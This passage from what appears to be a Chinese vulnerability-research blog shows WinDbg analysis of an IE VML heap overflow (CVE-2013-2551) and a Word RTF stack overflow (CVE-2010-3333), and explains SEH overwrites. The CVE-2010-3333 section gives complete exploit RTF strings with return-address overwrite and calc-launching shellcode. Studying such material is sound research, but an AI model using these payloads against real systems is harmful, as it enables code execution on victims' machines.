0455fa04 6cda4f62 040e8fe0 00000000 0180aff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b (FPO: [Non-Fpo])
0455fabc 75775c2b 0186ef58 00000000 0455fad8 IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0455facc 76023c45 0180aff0 0455fb18 771d37f5 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0455fad8 771d37f5 0180aff0 7335660e 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0455fb18 771d37c8 75775c1d 0180aff0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0455fb30 00000000 75775c1d 0180aff0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

可以看到在向 eax 指向的内存写数据的发生了错误,并且其所属的函数是 vgx!COALineDashStyleArray::put_item,写入的数据是 0x41414141,查看 eax 所属堆块信息,发现其大小为 0x10,并且在地址 01819ff0 处是4个 0x41414141,所以可以根据 poc 可以猜测崩溃发生在 tsl.dashstyle.array.item(i)=0x41414141; 语句处,最开始堆中只有 0x10 的字节大小,但是因为在开始时把 length 赋值成了 -1,所以可能发生了整数溢出导致数组越界,之后发生了堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
0:005> r eax
eax=0181a000
0:005> !heap -p -a eax
address 0181a000 found in
_DPH_HEAP_ROOT @ 1811000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1811f04: 1819ff0 10 - 1819000 2000
72c98e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77235e26 ntdll!RtlDebugAllocateHeap+0x00000030
771fa376 ntdll!RtlpAllocateHeap+0x000000c4
771c5ae0 ntdll!RtlAllocateHeap+0x0000023a
75bc9d45 msvcrt!malloc+0x0000008d
6ca456a5 vgx!GelHost::FAllocMemCore+0x0000000e
6ca8c0cb vgx!MsoFInitPx+0x0000005e
6ca4d223 vgx!MsoFCreateArray+0x00000044
6caba13c vgx!VGPIE5array::FAddElement+0x0000001a
6caba1de vgx!VGPIE5DwordArray::Text+0x00000060
6ca8ceb7 vgx!GetArrayVal+0x00000086
6ca8d435 vgx!ParseDashStyle+0x00000021
6ca92cdc vgx!CVMLStroke::InternalLoad+0x00000100
6ca92849 vgx!CVMLShapeIOProxy::Load+0x00000022
6ca43347 vgx!CSimpleTag::Load+0x000005df
6ca442cd vgx!CPTPropBag2<CSimpleTag>::Load+0x00000016
68d5e7c2 mshtml!CPeerHolder::InitAttributes+0x000000a9
68c37422 mshtml!CPeerHolder::AttachPeer+0x000000b8
68c37073 mshtml!CPeerHolder::Create+0x00000059
68c394f9 mshtml!CPeerFactoryUrl::AttachPeer+0x00000029
68c394c3 mshtml!CDoc::AttachPeerUrl+0x00000031
68c3959b mshtml!CDoc::AttachPeersCss+0x000001d4
68c3968b mshtml!CElement::ProcessPeerTask+0x00000182
68c395e9 mshtml!CMarkup::ProcessPeerTasks+0x000000e9
68c5dd30 mshtml!CHtmPost::Exec+0x00000546
68c5e945 mshtml!CHtmPost::Run+0x00000015
68c5e8a9 mshtml!PostManExecute+0x000001fb
68c5e80e mshtml!PostManResume+0x000000f7
68c62d3e mshtml!CHtmPost::OnDwnChanCallback+0x00000010
68c5bf0e mshtml!CDwnChan::OnMethodCall+0x00000019
68cb93c2 mshtml!GlobalWndOnMethodCall+0x000000ff
68cae012 mshtml!GlobalWndProc+0x0000010c
0:005> dd 1819ff0 L8
01819ff0 41414141 41414141 41414141 41414141
0181a000 ???????? ???????? ???????? ????????

由上的信息可知堆块的分配和函数 vgx!MsoFCreateArray 有关。

漏洞分析

从上面的结论可知崩溃 vgx!MsoFCreateArray 函数有关,在函数开始处下断。根据调试信息可以得到函数一些信息如下图
2018-07-19_221730.png-87.2kB
有崩溃信息可知其和数组赋值函数 vgx!COALineDashStyleArray::put_item 有关,所以下面重新加载 pocvgx!COALineDashStyleArray::put_itemvgx!MsoFCreateArray 函数开始处都下断,调试观察。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
0:012> bu vgx!COALineDashStyleArray::put_item
0:012> bu vgx!MsoFCreateArray
0:012> g
Breakpoint 1 hit
eax=046aad24 ebx=046aad8c ecx=046aad8c edx=00000001 esi=046aad90 edi=046aad8c
eip=6e02d1df esp=046aacf8 ebp=046aad0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray:
6e02d1df 8bff mov edi,edi
.....
0:005>
eax=046aad24 ebx=046aad8c ecx=046aad8c edx=00000001 esi=046aad90 edi=00000101
eip=6e02d1ee esp=046aace4 ebp=046aacf4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xf:
6e02d1ee e88a67fdff call vgx!operator new (6e00397d)
0:005>
eax=0183afe8 ebx=046aad8c ecx=00000014 edx=00000000 esi=046aad90 edi=00000101
eip=6e02d1f3 esp=046aace4 ebp=046aacf4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x14:
6e02d1f3 59 pop ecx
0:005> dd 0183afe8 L5
0183afe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0183aff8 c0c0c0c0
0:005> p
eax=0183afe8 ebx=046aad8c ecx=00000014 edx=00000000 esi=046aad90 edi=00000101
eip=6e02d1f4 esp=046aace8 ebp=046aacf4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x15:
6e02d1f4 59 pop ecx
......
0:005>
eax=0183afec ebx=046aad8c ecx=00000101 edx=00000000 esi=0183afe8 edi=00000101
eip=6e02d21e esp=046aacdc ebp=046aacf4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x3f:
6e02d21e e84aee0300 call vgx!MsoFInitPx (6e06c06d)
0:005>
eax=00000001 ebx=046aad8c ecx=00000001 edx=00000000 esi=0183afe8 edi=00000101
eip=6e02d223 esp=046aacec ebp=046aacf4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!MsoFCreateArray+0x44:
6e02d223 85c0 test eax,eax
0:005> dd 0183afe8 L5
0183afe8 6e017258 00040000 00040004 00000101
0183aff8 082daff0
0:005> dd 082daff0 L8
082daff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
082db000 ???????? ???????? ???????? ????????
0:005> g
ModLoad: 6bf30000 6bfe2000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=0000000a ebx=6e084964 ecx=6e07da33 edx=069b6fe2 esi=082b2f90 edi=046acb14
eip=6e07da33 esp=046acac4 ebp=046acae0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!COALineDashStyleArray::put_item:
6e07da33 8bff mov edi,edi
0:005> dd 0183afe8 L5
0183afe8 6e017258 0004ffff 00040004 00000101
0183aff8 082daff0
0:005> dd 082daff0 L8
082daff0 00000002 00000002 c0c0c0c0 c0c0c0c0
082db000 ???????? ???????? ???????? ????????

通过对比观察我们可以知道 ORG 对象的第五个四字节存储的是 dashstyle 数组的实际值,但是 ORG 数组的第三个和第四个四字节并没有变化,说明其与数组长度并没有关系,只有第二个四字节变成了 0004ffff,在 poc 中的赋值的长度为 -1,如果表示为无符号整形的话则为 ffffffff,可以猜测其之间有关系,把 tsl.dashstyle.array.length 的值改为 32,重新加断点调试。发现第二个四字节表示如下

1
2
3
4
5
6
7
8
9
10
11
0:005> dd 01804fe8 L5
01804fe8 6c5f7258 00240020 00040004 00000101
01804ff8 05b37f70
0:005> dd 05b37f70 L8
05b37f70 00000002 00000002 00000000 00000000
05b37f80 00000000 00000000 00000000 00000000
0:005> !heap -p -a 05b37f70
address 05b37f70 found in
_DPH_HEAP_ROOT @ 1731000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
84b33a8: 5b37f70 90 - 5b37000 2000

所以可以猜测 dashstyle 数组的长度等于 ORG 对象的第二个四字节与 0xffff 做与。下面还原 ORG 对象的结构

1
2
3
4
5
6
7
8
9
typedef struct
{
void *p_vftable;
unsigned short int num_dashstyle_arr;
short int var_3;
int var_4;
int var_5;
char *dash_style_arr;
}ORG;

漏洞利用

ie8

ie10

cve-2010-3333

emmmmm,背景什么的好像没什么好说的。

RTF文件格式

RTF(Rich Text Format) 即富文本格式,是对带格式的文本和图形进行编码以用于应用程序内和在应用程序之间传输的一种方法。RTF规范提供了一种在不同输出设备、操作环境和操作系统之间交换文本和图形的格式。其构成的基本元素是正文,控制字,控制符号和群组。RTF 文件没有设置单行的最大长度。详细信息可以参考:Rich Text Format (RTF) Version 1.7 Specification

RTF语法

控制字是 RTF 用来标记打印控制符和管理文档信息的一种特殊格式的命令。一个控制字最长 32 个字符。
格式如下

1
\LetterSequence<Delimiter>

控制字先是以反斜杠开头,之后是字符序列和分隔符。字符序列由小写字母 a-z 构成,之后是分隔符,分隔符有三种情况。

  • 如果分隔符是空格则这个空格是控制字的一部分。
  • 如果分隔符是数字或连字符,表示之后的数字是一个参数,该数字序列的长度由其后的一个空格或除了字母和数字的其他字符划定。这个参数可以是正数或者负数,它的取值范围通常是从-32767到32767。
  • 如果分隔符是非字母和数字的其他字符,此分隔字符表示控制字的结束,但它并不属于控制字的一部分。

控制符号由一个反斜杠和一个非字母字符组成。
群组由包括在 {} 的文本,控制字和控制符组成,{ 表示群组的开始,} 表示群组的结束。

下面来写一个 Hello World! 的程序。

1
2
3
4
5
6
{\rtf1\ansi\ansicpg936\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fnil\fcharset134 \'cb\'ce\'cc\'e5;}}
{\colortbl ;\red255\green255\blue0;\red255\green123\blue0;\red0\green0\blue255;}
\viewkind4\uc1\pard\cf1\lang2052\f0\fs20 Hello World!\cf2 Hello World!\cf0 \par
Hello World! \cf1
\par
}

显示如下
QQ截图20180716224858.png-1.5kB
下面解释下上面的程序

语句 含义
ansi 字符集
ansicpg936 简体中文
deff0 默认字体0
deflang1033 美国英语
deflangfe2052 中国汉语
fonttb 字体列表
f0 字体0
fcharset134 GB2312国标码
‘cb\’ce\’cc\’e5 宋体
colortbl 颜色表
viewkind4 正常视图
uc1 单字节
pard 默认段落属性
lang 2052中国汉语
fs20 字体大小20磅
par 换行

f0 是对所设置字体的引用,cf1,cf2,cf3 分别是对颜色表里三种颜色的引用。因为并不需要太多的关于 RTF 语法的知识,只要能看懂 poc 就行,所以并不需要了解的太多,下面把会涉及的控制字贴一下。
绘图对象的基本 RTF 格式如下。

1
2
{ \shp ........ { \*\shpinst { \sp { \sn .......... } { \sv .............. } } }
{ \shprslt ............... } }

控制字 (\shp 是必须的,其将所有图形有关的信息组合到一起。大部分的绘图对象由一组属性定义。就是{\shp控制字后面紧跟 {\*\shpinst,而 {\*\shpinst 控制字
后面跟随一个图形的所有属性列表。每个属性采用如下格式:

1
{ \sp { \sn PropertyName } { \sv PropertyValueInformation } }

\sp 为绘图对象的属性控制字,每个属性由图形属性组中的属性名 \sn\sv 来表示。如 {\sp{\sn fFlipH}{\sv 0}} 表示水平翻转属性为假。
实际上在 poc 只涉及到了 pFragments 属性,在文档中其类型为数组,定义如下:

1
2
3
4
Fragments are optional, additional parts to the
shape. They allow the shape to contain multiple
paths and parts. This property lists the fragments
of the shape.

实际上没看懂这个属性是干嘛的,大概就是 contain multiple paths and partslists the fragments。因为其类型为数组,所以可以了解下数组的表示形式。数组是由分号分割的数字序列。其第一个数字表示数组中每个元素的大小,单位是字节,可以为 2,4, 或者 8 字节。第二个数字代表数组中元素的个数。在表示正方形的顶点时可以写作 {sv 8;4;{0,0};{100,0};{100,100};{0,100}} 表示含有四个八字节的元素。差不多了解这些就可以啦,但是实际上在 poc 里写的那个数组并不规范,所以并不能直接看懂。

poc调试

打开 word 2003,之后 windbg 附加进程,然后打开 poc.rtf。崩溃如下
QQ截图20180717095643.png-124.6kB
栈回溯发现发现栈上的数据大部分都是一些样本数据,不能确定调用崩溃函数的函数,所以在崩溃函数执行时下断,继续回溯。
QQ截图20180717111435.png-43.8kB
但是当跟进去看这个函数的时候发现实际上并不是崩溃函数,并且在里面也没有找到明显的调用崩溃函数的指令,所以在调用函数开始处加断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:009> bp 30F4CC5D
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:009> g
ModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 74160000 7416d000 C:\Windows\system32\WTSAPI32.DLL
Breakpoint 0 hit
eax=00123970 ebx=00000000 ecx=001237e4 edx=00000000 esi=00000000 edi=00000000
eip=30f4cc5d esp=001237bc ebp=001237e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f0e:
30f4cc5d 55 push ebp
0:000> p
eax=00123970 ebx=00000000 ecx=001237e4 edx=00000000 esi=00000000 edi=00000000
eip=30f4cc5e esp=001237b8 ebp=001237e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f0f:
30f4cc5e 8bec mov ebp,esp
...单步调试
0:000>
eax=30d9ed10 ebx=05000000 ecx=001237a8 edx=00000000 esi=030110f0 edi=00123970
eip=30f4cc93 esp=0012378c ebp=001237b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal753+0x2f44:
30f4cc93 ff501c call dword ptr [eax+1Ch] ds:0023:30d9ed2c=30e9eb62

地址 30e9eb62 实际上就是崩溃函数的地址,所以通过 call dword ptr [eax+1Ch] 指令调用了崩溃函数。windbg 跟入函数,根据调试信息可以做如下注释。
QQ截图20180717123135.png-64.4kB
下面是试着还原的一部分伪代码,结构体那个只选了最少的一部分表示出来,因为无法知道其大小,并且结构体的其他数据在这里也无关紧要。因为是按汇编来还原的,所以可能看起来一部分代码很没有必要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef struct
{
int *var1;
int var2;
int numCopy;
int var4;
char *pFragmentsBuf;
}RTF;
void __stdcall crash_fun(RTF *rtf,char buff[], int var)
{
if(rtf != NULL){
int copyFirst = rtf->numCopy&0xffff - (rtf->numCopy&0xffff)%4;
int copySecond = (rtf->numCopy&0xffff)%4;
memcpy(buff, rtf->pFragmentsBuf, copyFirst);
memcpy(buff + copyFirst, rtf->pFragmentsBuf + copyFirst, copySecond);
}
}
void call_crash_fun()
{
RTF *rtf;
char buff[16];
crash_fun(rtf, buff);
}

从伪代码就可以很清楚的发现 call_crash_fun 函数在调用 crash_fun 函数时传的数组参数过小,并且没有去检查拷贝数据的大小,造成栈溢出。

漏洞利用

office 2003

xp下因为没有开启 ASLRDEP,所以利用很简单,通过将返回地址改成 jmp esp 或者 call esp 对应指令的地址,实现控制 eip 到栈上已经布置好的 shellcode。因为 call_crash_fun 函数最后会 ret 14 所以在 jmp espshellcode 之间的空间需要填充。
下面根据漏洞战争中给出 poc 做一下改动,使其能弹出计算器。弹计算器的 shellcode 如下

1
\x90\x33\xc0\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x8b\xc4\x6a\x05\x50\xb8\xad\x23\x86\x7c\xff\xd0\x83\xc4\x0c\x90

因为 ret 14h 的缘故,需要在返回地址和 shellcode 之间填充一些数据,先瞎填充,之后调试看这些数据是否会影响程序的执行。初步构造如下

1
2
{\rtf1{\shp{\sp{\sn pFragments}{\sv
3;5;11111111000141613041613141613241613341613441613541611245fa7faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9033c050682e6578656863616c638bc46a0550b8ad23867cffd083c40c90}}}}

QQ截图20180717161953.png-43kB
调试的时候发现在 ret 14h 执行前发生了崩溃,因为返回地址之前的数据可能会在返回前使用,所以可以在去除 shellcode 后重新调试,观察之前字符串a所在空间的数据,替换即可。
QQ截图20180717160937.png-12.7kB
构造如下

1
2
{\rtf1{\shp{\sp{\sn pFragments}{\sv
3;5;11111111000141613041613141613241613341613441613541611245fa7f00000000000000000000000000000000000000009033c050682e6578656863616c638bc46a0550b8ad23867cffd083c40c90}}}}

效果图
QQ截图20180717161559.png-19.6kB

office 2007

为了实现 exploit 的通用性,我们将上面构造的rtf的返回地址设置成 0x26762f,实际上就是指令 call esp。因为适用于 office 2003 sp0-sp3 的各个版本,所以稳定性更高,为了实现在 20032007 下的通用性,下面继续。实际上当我也上面构造的用 2007 打开的时候,也能弹出来,说明那个 jmp esp 还能用。在用漏洞战争资料里的 poc 去测试的时候发现和之前的崩溃点不大一样,泉哥在漏洞战争里说的听清楚啦,就是输入数据的一部分必须为0才能触发。实际上在上面构造的时候就已经遇到了这个问题。下面就简单的说一下覆盖 seh handler ,在执行异常处理时控制 eip 的原理。
windowsseh 处理机制是为了在异常发生时调用特定的指令去处理,类似于 c++ 中的try/catch。调用 seh 处理机制方式如下。

1
2
3
4
5
6
7
8
__try {
// the block of code to try (aka the "guarded body")
...
}
__except (exception filter) {
// the code to run in the event of an exception (aka the "exception handler)
...
}

try 里面的代码块执行失败时转去执行 __except 中的代码块。 已经注册异常处理机制结构体如下。

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

这些注册的异常处理在内存中通过链表进行链接。第一个四字节指向下一个注册的异常处理,第二个四字节存储异常发生时执行代码块的地址。异常处理函数的声明如下:

1
2
3
4
5
6
7
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
oid EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);

函数的第一个参数是 _EXCEPTION_RECORD 类型的指针,主要是异常的代码及地址等相关信息。第二个参数是当前 seh 链第一个 _EXCEPTION_REGISTRATION_RECORD 的首地址。

1
2
3
4
5
6
7
8
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

当异常发生时,操作系统从链的顶端的 _EXCEPTION_REGISTRATION_RECORD 开始检查其 _except_handler 能否对当前异常处理,如果不可以则移动到下一个,在最后会有一个泛型异常处理,对前面都未能做处理的异常进行处理。
seh.png-403.7kB
覆盖 seh 处理机制实际上还是通过修改 nextSEHsehhandler 来控制 eip。很灵活,这里就不调了后面微软又引入了 safeseh 机制来防止这种攻击,但是也像其他保护机制一样,总会被绕过。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. cve-2012-1876
    1. 1.1. poc分析
    2. 1.2. 漏洞成因
    3. 1.3. 漏洞利用
      1. 1.3.1. win7+ie8
      2. 1.3.2. win7+ie9/10/11
  2. 2. cve-2013-2551
    1. 2.1. poc调试
    2. 2.2. 漏洞分析
    3. 2.3. 漏洞利用
      1. 2.3.1. ie8
      2. 2.3.2. ie10
  3. 3. cve-2010-3333
    1. 3.1. RTF文件格式
      1. 3.1.1. RTF语法
    2. 3.2. poc调试
    3. 3.3. 漏洞利用
      1. 3.3.1. office 2003
      2. 3.3.2. office 2007
,